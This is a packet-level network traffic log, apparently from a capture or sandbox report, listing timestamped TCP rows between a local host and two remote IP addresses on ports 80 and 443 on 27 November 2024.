Nov 27, 2024 16:34:21.688878059 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.688927889 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.688962936 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.689009905 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.690190077 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.690227032 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.692267895 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.692301989 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.692321062 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.692404032 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.692621946 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.694406033 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.694457054 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.694555998 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.694603920 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.696482897 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.696532965 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.696626902 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.696672916 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.698575974 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.698627949 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.698784113 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.698843956 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.700793982 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.700835943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.700844049 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.700877905 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.703012943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.703061104 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.703105927 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.703162909 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.705013990 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.705064058 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.705126047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.705202103 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.707216978 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.707300901 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.707303047 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.707355022 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.709238052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.709287882 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.709323883 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.709376097 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.711402893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.711448908 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.711482048 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.711524010 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.713581085 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.713625908 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.713738918 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.713787079 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.715540886 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.715590000 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.715655088 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.715702057 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.717644930 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.717699051 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.717719078 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.717762947 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.719815969 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.719877958 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.719918966 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.719959974 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.721992016 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.722038984 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.722069025 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.722115040 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.752739906 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.752818108 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.752886057 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.753663063 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.753789902 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.753851891 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.755770922 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.755830050 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.755897999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.755955935 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.757453918 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.757508039 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.757590055 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.757685900 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.759426117 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.759545088 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.759593010 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.761374950 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.761504889 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.761573076 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.763385057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.763437986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.763653994 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.763703108 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.765244961 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.765309095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.765352964 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.765410900 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.767153025 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.767240047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.767311096 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.769125938 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.769176006 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.769216061 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.769258022 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.771208048 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.771368980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.771428108 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.773221016 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.773348093 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.773396015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.774867058 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.775016069 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.775064945 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.776840925 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.776889086 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.776917934 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.776966095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.778976917 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.779022932 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.779119015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.780653000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.780683041 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.780697107 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.780764103 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.780814886 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.782597065 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.782646894 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.782661915 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.782706022 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.832405090 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.832444906 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.832524061 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.832524061 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.833324909 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.833378077 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.833506107 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.833556890 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.834831953 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.834882975 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.834920883 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.834981918 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.836394072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.836443901 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.836505890 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.836555004 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.838025093 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.838072062 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.838077068 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.838118076 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.839634895 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.839693069 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.839735985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.839806080 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.841268063 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.841290951 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.841320038 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.841336012 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.842794895 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.842847109 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.842900991 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.842948914 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.844391108 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.844441891 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.844502926 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.844552040 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.845998049 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.846049070 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.846072912 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.846117973 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.847624063 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.847673893 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.847742081 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.847789049 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.849067926 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.849143982 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.849225998 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.849267960 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.850826979 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.850873947 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.850923061 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.850965977 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.852210999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.852267027 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.852303982 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.852349997 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.853676081 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.853734970 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.853796959 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.853842020 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.855073929 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.855123043 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.855231047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.855278015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.856621981 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.856671095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.856877089 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.856924057 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.858198881 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.858226061 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.858246088 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.858263969 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.871983051 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.872041941 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.872102022 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.872129917 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.872144938 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.872271061 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.910733938 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.910799980 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.910825014 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.910878897 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.911459923 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.911509991 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.911590099 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.911633015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.913026094 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.913045883 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.913078070 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.913095951 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.914534092 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.914587021 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.914633036 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.914681911 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.916104078 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.916151047 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.916220903 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.916273117 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.917572975 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.917623043 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.917680025 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.917722940 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.919157982 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.919214964 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.919253111 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.919303894 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.920737028 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.920794010 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.920838118 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.920896053 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.922427893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.922462940 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.922482014 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.922513008 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.923778057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.923830986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.923873901 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.923921108 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.925232887 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.925290108 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.925331116 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.925373077 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.926801920 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.926855087 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.927052021 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.927098989 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.928309917 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.928364038 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.928388119 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.928440094 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.929826021 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.929877996 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.929960966 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.930008888 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.931364059 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.931396008 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.931423903 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.931443930 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.932873964 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.932929039 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.932950974 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.933000088 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.934417963 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.934459925 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.934473038 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.934504986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.952867985 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.952920914 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.952975988 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.952985048 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.953020096 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.953042030 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.970786095 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.970845938 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.970944881 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.971564054 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.971643925 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.971709967 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.973011971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.973093033 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.973165989 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.973217010 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.974618912 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.974677086 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.974828005 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.974877119 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.976033926 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.976082087 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.976155043 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.976202011 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.977510929 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.977575064 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.977684975 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.977737904 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.978955030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.979017019 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.979080915 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.979134083 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.980479956 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.980565071 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.980632067 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.980688095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.981765032 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.981822968 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.981825113 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.981872082 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.983375072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.983441114 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.983532906 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.983583927 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.984631062 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.984693050 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.984713078 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.984734058 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.985871077 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.985917091 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.985955954 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.985999107 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.987251997 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.987297058 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.987368107 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.987423897 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.988610983 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.988670111 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.988718033 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.988765001 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.989969969 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.990026951 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.990057945 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.990101099 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.991324902 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.991374016 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.991411924 CET	80	49701	185.215.113.206	192.168.2.7
